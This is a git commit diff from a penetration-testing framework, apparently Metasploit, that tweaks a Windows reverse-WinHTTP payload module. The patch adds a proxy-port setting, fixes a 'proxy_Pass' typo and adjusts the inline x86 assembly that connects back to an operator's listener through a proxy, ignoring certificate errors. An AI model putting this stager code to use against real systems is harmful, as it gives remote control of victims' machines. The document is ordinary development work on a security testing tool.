Tweak reverse_winhttp to fix small issues
Now working fine with proxy settings.bug/bundler_fix
parent
679bb46f86
commit
cbf06fcb02
|
@ -37,6 +37,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||||
|
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||||
|
@ -157,7 +158,8 @@ module Payload::Windows::ReverseWinHttp
|
||||||
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||||
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
|
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
|
||||||
else
|
else
|
||||||
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
http_open_flags = (
|
||||||
|
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||||
end
|
end
|
||||||
|
|
||||||
asm = %Q^
|
asm = %Q^
|
||||||
|
@ -194,7 +196,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
push ebx ; Flags
|
push ebx ; Flags
|
||||||
push esp ; ProxyBypass ("")
|
push esp ; ProxyBypass ("")
|
||||||
call get_proxy_server
|
call get_proxy_server
|
||||||
db "#{proxy_info}", 0x00
|
db #{proxy_info}
|
||||||
get_proxy_server:
|
get_proxy_server:
|
||||||
; ProxyName (via call)
|
; ProxyName (via call)
|
||||||
push 3 ; AccessType (NAMED_PROXY= 3)
|
push 3 ; AccessType (NAMED_PROXY= 3)
|
||||||
|
@ -245,7 +247,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
push ebx ; pAuthParams (NULL)
|
push ebx ; pAuthParams (NULL)
|
||||||
^
|
^
|
||||||
|
|
||||||
if proxy_Pass
|
if proxy_pass
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
call got_proxy_pass ; put proxy_pass on the stack
|
call got_proxy_pass ; put proxy_pass on the stack
|
||||||
proxy_pass:
|
proxy_pass:
|
||||||
|
@ -255,7 +257,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
^
|
^
|
||||||
else
|
else
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
push ebx ; pAuthParams (NULL)
|
push ebx ; pwszPassword (NULL)
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue